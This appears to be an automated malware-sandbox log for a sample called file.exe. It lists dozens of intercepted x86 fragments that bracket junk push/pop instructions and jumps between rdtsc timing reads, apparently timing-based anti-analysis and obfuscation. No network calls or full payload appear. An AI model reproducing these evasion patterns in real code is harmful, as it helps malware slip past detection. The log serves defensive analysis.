Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FC59 second address: 125FC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FC62 second address: 125FC73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F6940DA8856h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FC73 second address: 125FC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263F5F second address: 1263F73 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6940DA884Eh 0x0000000c push edi 0x0000000d pop edi 0x0000000e jp 00007F6940DA8846h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263F73 second address: 1263F80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F6940DA84E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262F38 second address: 1262F50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F6940DA884Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226AC3 second address: 1209A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call dword ptr [ebp+122D2924h] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12270E5 second address: 12270F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6940DA8846h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227242 second address: 1227248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227344 second address: 1227348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227348 second address: 1227357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227357 second address: 122735C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122735C second address: 122736D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA84EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12279C4 second address: 12279C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227CA9 second address: 1227CAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227CAF second address: 120A566 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6940DA8848h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d movzx ecx, di 0x00000010 call dword ptr [ebp+122D3A5Ah] 0x00000016 pushad 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a jnc 00007F6940DA8846h 0x00000020 pop eax 0x00000021 jnp 00007F6940DA8852h 0x00000027 jc 00007F6940DA8846h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263258 second address: 126325E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126325E second address: 1263285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F6940DA8855h 0x0000000c jns 00007F6940DA8846h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263642 second address: 1263646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263646 second address: 1263663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6940DA8853h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12671DE second address: 126720F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6940DA84EEh 0x0000000b jnp 00007F6940DA84E6h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6940DA84F0h 0x0000001a pushad 0x0000001b jne 00007F6940DA84E6h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126720F second address: 1267214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267214 second address: 1267222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jo 00007F6940DA84E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267222 second address: 1267230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F6940DA8846h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA859 second address: 11EA87C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F6940DA84E6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop eax 0x00000010 jng 00007F6940DA84E8h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c jl 00007F6940DA84E6h 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269228 second address: 126922C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66C1 second address: 11D66C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66C7 second address: 11D6717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jbe 00007F6940DA8846h 0x00000014 jmp 00007F6940DA8857h 0x00000019 jl 00007F6940DA8846h 0x0000001f popad 0x00000020 pushad 0x00000021 jng 00007F6940DA8846h 0x00000027 push edi 0x00000028 pop edi 0x00000029 push esi 0x0000002a pop esi 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C090 second address: 126C0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6940DA84ECh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C0A1 second address: 126C0C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 jmp 00007F6940DA8851h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C0C0 second address: 126C0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA84EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C0D1 second address: 126C0F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Bh 0x00000007 ja 00007F6940DA8846h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007F6940DA884Ah 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126EA05 second address: 126EA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126EA0B second address: 126EA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F6940DA884Eh 0x0000000e jno 00007F6940DA8846h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1273512 second address: 127351C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6940DA84F7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127351C second address: 127353D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA884Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6940DA8850h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEC46 second address: 11DEC60 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6940DA84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6940DA84EEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277C47 second address: 1277C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277C4B second address: 1277C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127835A second address: 127835E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12784F8 second address: 12784FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12784FE second address: 127850F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F6940DA8848h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127850F second address: 127852A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007F6940DA84E6h 0x0000000c popad 0x0000000d js 00007F6940DA84F2h 0x00000013 jnc 00007F6940DA84E6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127AAA8 second address: 127AAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6940DA8853h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DD61 second address: 127DD77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283F99 second address: 1283F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284573 second address: 128457D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128483A second address: 1284840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284840 second address: 1284844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284844 second address: 128484A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128484A second address: 1284854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284E61 second address: 1284E90 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6940DA8852h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c jmp 00007F6940DA8855h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284E90 second address: 1284E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285156 second address: 1285173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8859h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285173 second address: 128517C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128517C second address: 1285184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12856A6 second address: 12856BA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6940DA84EAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12856BA second address: 12856E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6940DA8855h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F6940DA884Eh 0x00000011 jne 00007F6940DA8846h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12856E3 second address: 1285704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6940DA84F2h 0x00000008 pushad 0x00000009 popad 0x0000000a jno 00007F6940DA84E6h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DCE0 second address: 128DCEA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DCEA second address: 128DCEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DDFB second address: 128DE01 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DE01 second address: 128DE07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DE07 second address: 128DE11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DE11 second address: 128DE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128DE15 second address: 128DE2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6940DA884Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E277 second address: 128E286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007F6940DA84E6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E507 second address: 128E50D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E50D second address: 128E547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F6940DA84EBh 0x0000000e jng 00007F6940DA84E6h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F6940DA84EEh 0x0000001e pushad 0x0000001f popad 0x00000020 js 00007F6940DA84E6h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F6940DA84ECh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E547 second address: 128E553 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6940DA8846h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E553 second address: 128E56C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA84F3h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E6C9 second address: 128E6E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8855h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E6E3 second address: 128E6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6940DA84E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129832D second address: 1298346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA8852h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298346 second address: 1298352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298352 second address: 1298384 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6940DA8846h 0x00000008 jmp 00007F6940DA884Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F6940DA884Eh 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push edi 0x0000001d pop edi 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298384 second address: 12983A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6940DA84F0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296AD6 second address: 1296B1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8856h 0x00000007 jmp 00007F6940DA884Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F6940DA8859h 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C45 second address: 1296C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C49 second address: 1296C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F6940DA884Ch 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C5E second address: 1296C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F6940DA84EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C6B second address: 1296C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F6940DA8846h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296DCF second address: 1296DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA84EAh 0x00000009 jmp 00007F6940DA84F2h 0x0000000e jmp 00007F6940DA84ECh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296F5A second address: 1296F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296F5E second address: 1296F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6940DA84E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6940DA84F9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296F86 second address: 1296F8B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296F8B second address: 1296F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970D4 second address: 12970D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970D8 second address: 12970E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007F6940DA84E6h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298188 second address: 12981C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6940DA8846h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6940DA8855h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F6940DA8854h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296153 second address: 129616A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA84F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129616A second address: 1296174 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296174 second address: 129617E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6940DA84E6h 0x0000000a rdtsc
